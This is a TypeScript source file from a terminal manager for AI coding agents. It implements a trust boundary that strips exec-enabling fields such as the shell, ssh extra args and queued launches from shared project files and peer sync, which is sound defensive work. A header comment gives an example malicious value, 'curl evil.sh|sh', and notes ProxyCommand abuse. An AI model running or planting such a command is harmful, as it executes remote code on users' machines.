Skip to content

Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.

15.3 KB
Raw Blame
/**
 * Trust boundary for the node fields that end up EXECUTING something.
 *
 * `.nodeterm/project.json` is hostile input: it is git-shared, hand-editable, auto-adopted by
 * "Open folder…", and for an SSH project it lives on the remote host. A value that arrives from
 * that file was never typed by the local user, so it must never become a command. The codebase
 * already honors this for `initialCommand` (deliberately never serialized); two siblings reach an
 * exec the same way and are handled here:
 *
 *  - `NodeState.shell` — the session program. It lands as tmux `new-session`'s trailing command
 *    argument, and tmux runs a lone command argument THROUGH A SHELL. A cloned repo could ship
 *    `"shell": "curl evil.sh|sh"`, or simply point at a script committed in the repo.
 *  - `NodeState.ssh.extraArgs` — spliced verbatim into the `ssh` argv (`buildSshArgs`), where
 *    `-o ProxyCommand=<cmd>` makes ssh run `<cmd>` LOCALLY through /bin/sh.
 *  - `CanvasNodeState.pendingLaunch` — a held launch. Its `command` is TYPED into the node's shell
 *    once the canvas says the wait is over (`launchesToFire`), and `after: []` or a dep that no
 *    longer exists counts as satisfied. So a project file or a wire frame carrying one is a command
 *    that runs as soon as the canvas is viewed. It is produced only by this machine's own
 *    orchestration (`--after`, a cold open, a worktree setup gate), so it is machine-local exactly
 *    like `shell`: never written to a shared file, never accepted from a peer, and round-tripped
 *    through the machine-local index so an armed node still fires after an app restart.
 *
 * Both are legitimate when the LOCAL user sets them, so they are not deleted — they are made
 * MACHINE-LOCAL: `stripSharedNodeExec` keeps them out of every project file we write, and
 * `localNodeExec` / `applyLocalNodeExec` round-trip them through the machine-local workspace.json
 * index instead (`IndexEntryV3.localExec`). A project file therefore contributes NOTHING to either
 * field: the safe fallback (default shell / no extra ssh args) is what an unrecognized or foreign
 * value degrades to.
 *
 * `safeSessionProgram` is the second layer, applied where the value BECOMES a command (pty-manager),
 * in the same idiom as `permissionModeFlag` re-validating at the interpolation site: whatever the
 * path a value took to get there (a peer canvas mutation, a stale in-memory node, a future caller),
 * a program string carrying shell metacharacters is never handed to tmux.
 */

import { normalizePendingLaunch } from './pending-launch-shape'
import { sshExtraArgsEnableLocalExec } from './ssh'
import type { CanvasMutation, CanvasNodeState, PendingLaunch } from './types'

/** Per-node exec values the LOCAL machine typed. Persisted only in the machine-local index. */
export interface LocalNodeExec {
  /** `NodeState.shell` — a custom session program for this node. */
  shell?: string
  /** `NodeState.ssh.extraArgs` — raw advanced ssh args for this node's connection. */
  sshExtraArgs?: string
  /** `CanvasNodeState.pendingLaunch` — a launch THIS machine armed and has not delivered yet. */
  pendingLaunch?: PendingLaunch
}

/** Node id → the exec values that stay on this machine. */
export type LocalNodeExecMap = Record<string, LocalNodeExec>

/**
 * A session program must be ONE program, not a command line: tmux runs a lone command argument
 * through a shell, so anything a shell would interpret is refused. Absolute paths, bare names and
 * `~`-less relative paths are fine; whitespace, quotes, `;|&$()<>` … and a leading `-` (which tmux
 * would read as an option) are not.
 */
const SAFE_PROGRAM = /^[A-Za-z0-9_./+@:=-]+$/

/**
 * Validate a session program at the point it becomes a command. Returns the program when it is
 * safe to hand to tmux/node-pty, else `undefined` — i.e. the caller falls back to the default
 * shell, which is exactly the pre-feature behavior. NEVER throws: an unrecognized value degrades
 * to the safe path, it does not block the launch.
 */
export function safeSessionProgram(shell: string | undefined): string | undefined {
  if (!shell) return undefined
  const s = shell.trim()
  if (!s || s.startsWith('-')) return undefined
  if (!SAFE_PROGRAM.test(s)) return undefined
  return s
}

/**
 * Strip every exec-enabling field from the nodes we are about to write into a SHARED project file.
 * The values survive on this machine via `localNodeExec` (below); what leaves for git/the remote
 * host carries no command of any kind.
 */
function stripNodeExec(n: CanvasNodeState, keepLaunch = false): CanvasNodeState {
  const launch = !keepLaunch && n.pendingLaunch !== undefined
  if (
    n.shell === undefined &&
    n.ssh?.extraArgs === undefined &&
    n.ssh?.execTrusted === undefined &&
    !launch
  )
    return n
  const out: CanvasNodeState = { ...n }
  delete out.shell
  if (launch) delete out.pendingLaunch
  if (out.ssh) {
    // `execTrusted` goes with the value it vouches for. It is a MACHINE-LOCAL provenance marker:
    // if it could ride a document or a wire frame, a hostile one would simply set it to true.
    const { extraArgs: _extraArgs, execTrusted: _execTrusted, ...conn } = out.ssh
    out.ssh = conn
  }
  return out
}

export function stripSharedNodeExec(nodes: CanvasNodeState[]): CanvasNodeState[] {
  return nodes.map((n) => stripNodeExec(n))
}

/**
 * What a renderer may CAST on `canvas:mut`: the shared strip, except that a held launch rides along.
 *
 * The cast goes to this machine's own core, not to a teammate: the reflector (core/canvas-sync.ts)
 * decides per RECIPIENT whether a `pendingLaunch` may travel on. It passes one on only from an OWNER
 * client (this machine's app window, or a Server Edition browser tab the session cookie
 * authenticated) to another owner client, marked `origin: 'core'`, and strips it for everybody else.
 * Owner→owner sync is what keeps two Server Edition tabs from both typing the same launch: the tab
 * that claims it (`attempted: true`) must reach the other before that one's loop runs.
 */
export function stripCastNodeExec(nodes: CanvasNodeState[]): CanvasNodeState[] {
  return nodes.map((n) => stripNodeExec(n, true))
}

/**
 * Strip the exec-enabling fields from a node that arrived OVER THE WIRE (a canvas-sync peer's
 * mutation, or a relay client's).
 *
 * This is the other half of the trust boundary, and without it the disk half was worthless: a peer
 * mutation is applied VERBATIM (`isCanvasMutation` validates only id/position/size), and the next
 * save harvests whatever `shell` / `ssh.extraArgs` are now in the live nodes into the MACHINE-LOCAL
 * `workspace.json` — where they are re-attached as this machine's own values on every load, for
 * ever, surviving the peer leaving, being revoked, and the app restarting. The peer laundered an
 * exec field into the trusted store.
 *
 * A peer has no business setting either field on our machine: both are per-machine settings (which
 * program to run here, which ssh options to pass here), and neither is meaningful on a canvas that
 * is merely being mirrored. So they are dropped at ingest, on every surface.
 */
export function sanitizeInboundNode(node: CanvasNodeState, trustLaunch = false): CanvasNodeState {
  return stripNodeExec(node, trustLaunch)
}

/**
 * Whether an inbound mutation's `pendingLaunch` may be taken as-is. Only the core sets
 * `origin: 'core'` (the reflector deletes a client-supplied one, and adds it only for a mutation that
 * came from an OWNER client or from the core itself, sent to an owner client). Absent = the node's
 * held launch is not the sender's to set: ours is carried, theirs is dropped.
 */
export function mutationTrustsLaunch(m: { origin?: unknown }): boolean {
  return m.origin === 'core'
}

/** A copy of `m` without a core `origin` — for a receiver that must not trust its transport (a relay
 *  tab: the mutation came from ANOTHER machine's core, which can put anything on the wire). */
export function withoutCoreOrigin<T extends { origin?: unknown }>(m: T): T {
  if (m.origin === undefined) return m
  const { origin: _origin, ...rest } = m
  return rest as T
}

/**
 * Apply an inbound node OVER the copy we already hold, keeping OUR exec fields on it.
 *
 * Stripping the peer's values is only half of it: an upsert REPLACES the node, so a teammate merely
 * dragging our ssh terminal would otherwise hand us back a copy with no `extraArgs` — and the next
 * save would harvest that empty node and erase the jump host from our own machine-local index. The
 * exec fields are per-machine, so they simply do not participate in the sync: theirs are dropped,
 * ours are carried across every mutation that touches the node.
 */
export function carryLocalNodeExec(
  prev: CanvasNodeState | undefined,
  next: CanvasNodeState,
  trustLaunch = false
): CanvasNodeState {
  if (!prev) return next
  const extraArgs = prev.ssh?.extraArgs
  // A trusted (owner/core) mutation is authoritative for the held launch, INCLUDING its absence:
  // that is how a delivered launch is cleared on every owner client.
  const launch = trustLaunch ? undefined : prev.pendingLaunch
  if (prev.shell === undefined && extraArgs === undefined && launch === undefined) return next
  const out: CanvasNodeState = { ...next }
  if (prev.shell !== undefined) out.shell = prev.shell
  if (launch !== undefined) out.pendingLaunch = launch
  if (extraArgs !== undefined && out.ssh)
    out.ssh = { ...out.ssh, extraArgs, execTrusted: prev.ssh?.execTrusted }
  return out
}

/** `sanitizeInboundNode` for a whole mutation (the stamps — `src`, `seq`, `seen` — are preserved).
 *  Only `upsert` carries a node; every other op (`remove`, the edge ops and the board ops, which
 *  carry no node) passes through untouched. `keepLaunch` is for the reflector alone, and only for an
 *  OWNER sender (see `stripCastNodeExec`). */
export function sanitizeInboundMutation<T extends CanvasMutation>(m: T, keepLaunch = false): T {
  if (m.op !== 'upsert') return m
  const up = m as unknown as { node: CanvasNodeState }
  const node = sanitizeInboundNode(up.node, keepLaunch)
  return node === up.node ? m : ({ ...m, node } as T)
}

/**
 * Collect the machine-local exec values of these nodes (for the workspace.json index entry).
 *
 * The index is the TRUSTED store — whatever lands here is re-attached to the node on every future
 * load, as this machine's own value. So an inbound value must not be able to launder itself in
 * (see `sanitizeInboundNode`, which is the primary guard), and this collector re-checks what it is
 * about to bless:
 *  - `shell` — only if it still passes the exec-site validator. A program the exec site would
 *    refuse anyway has no business being persisted as trusted.
 *  - `ssh.extraArgs` — an exec-enabling value (a `ProxyCommand` & co) is stored only when it is
 *    `execTrusted`, i.e. a LOCAL producer set it (the user's SSH server store, or a previous
 *    machine-local index entry). Harmless args are stored either way, so nothing legitimate is lost.
 */
export function localNodeExec(nodes: CanvasNodeState[]): LocalNodeExecMap | undefined {
  const map: LocalNodeExecMap = {}
  for (const n of nodes) {
    const entry: LocalNodeExec = {}
    if (n.shell && safeSessionProgram(n.shell)) entry.shell = n.shell
    const extraArgs = n.ssh?.extraArgs
    if (extraArgs && (n.ssh?.execTrusted || !sshExtraArgsEnableLocalExec(extraArgs)))
      entry.sshExtraArgs = extraArgs
    // A held launch in the live nodes was armed here: every inbound path drops a foreign one
    // (`sanitizeInboundNode`, `applyLocalNodeExec`), so what reaches this collector is ours.
    const pending = normalizePendingLaunch(n.pendingLaunch)
    if (pending) entry.pendingLaunch = pending
    if (entry.shell || entry.sshExtraArgs || entry.pendingLaunch) map[n.id] = entry
  }
  return Object.keys(map).length ? map : undefined
}

/**
 * ONE-TIME UPGRADE. Take the exec values a project file carried from BEFORE this trust boundary
 * existed, and adopt them as this machine's own.
 *
 * `ssh.extraArgs` has a real producer (`createSshTerminalNode` copies it out of the machine-local
 * SSH server store), so every existing ssh-terminal node with a jump host or a corporate
 * `ProxyCommand` has one in its CURRENT `.nodeterm/project.json` — and the v3 index has no
 * `localExec` for it. Without this hoist the first load after the upgrade would silently drop the
 * value (the connection breaks with a confusing error) and the next save would erase it from disk
 * and propagate the deletion to every teammate via `rev`.
 *
 * The provenance signal is the one actually available at upgrade time: the project was ALREADY
 * REFERENCED in this machine's `workspace.json`, i.e. it is a folder this user had already opened.
 * The caller runs this exactly once per entry (`IndexEntryV3.execMigrated`), so a project file
 * cloned AFTER the upgrade — the hostile case — never reaches it.
 *
 * `shell` is still validated: it has no producer, so anything there is either junk or an attack,
 * and blessing a value the exec site would refuse anyway buys nothing.
 *
 * `pendingLaunch` is deliberately NEVER hoisted. Its provenance cannot be told apart: a file written
 * by an older build of THIS machine and one a hostile repo committed look identical, and the
 * `execMigrated` flag was already set on every existing entry before `pendingLaunch` joined the
 * boundary, so "already referenced" proves nothing about it. Failing closed costs a user who
 * upgrades with armed nodes their held launch (the node shows no QUEUED badge; re-issue it or type
 * the command); failing open runs a stranger's command.
 */
export function hoistLegacyNodeExec(nodes: CanvasNodeState[]): LocalNodeExecMap | undefined {
  const map: LocalNodeExecMap = {}
  for (const n of nodes) {
    const entry: LocalNodeExec = {}
    if (n.shell && safeSessionProgram(n.shell)) entry.shell = n.shell
    if (n.ssh?.extraArgs) entry.sshExtraArgs = n.ssh.extraArgs
    if (entry.shell || entry.sshExtraArgs) map[n.id] = entry
  }
  return Object.keys(map).length ? map : undefined
}

/**
 * Re-attach this machine's own exec values to nodes just read from a project file. Anything the
 * FILE carried in those fields is dropped first (it is not ours), so a hostile/cloned project.json
 * can only ever produce the safe default. Keyed by node id, which is stable (it is the tmux
 * session name) — a foreign file that happens to reuse an id can still only inherit a value the
 * local user typed themselves.
 */
export function applyLocalNodeExec(
  nodes: CanvasNodeState[],
  local: LocalNodeExecMap | undefined
): CanvasNodeState[] {
  return nodes.map((n) => {
    const mine = local?.[n.id]
    // A fresh object: `stripNodeExec` returns its INPUT untouched when there is nothing to strip, and
    // the writes below must never reach back into the caller's (parsed file's) node.
    const out: CanvasNodeState = { ...stripNodeExec(n) }
    if (mine?.shell) out.shell = mine.shell
    // workspace.json is hand-editable too: re-validate the shape, as the renderer's serializers do.
    const pending = normalizePendingLaunch(mine?.pendingLaunch)
    if (pending) out.pendingLaunch = pending
    if (out.ssh && mine?.sshExtraArgs) {
      // Ours: it came out of the machine-local index, so the exec site may honor an option like
      // ProxyCommand (a jump host is a legitimate thing to have configured).
      out.ssh = { ...out.ssh, extraArgs: mine.sshExtraArgs, execTrusted: true }
    }
    return out
  })
}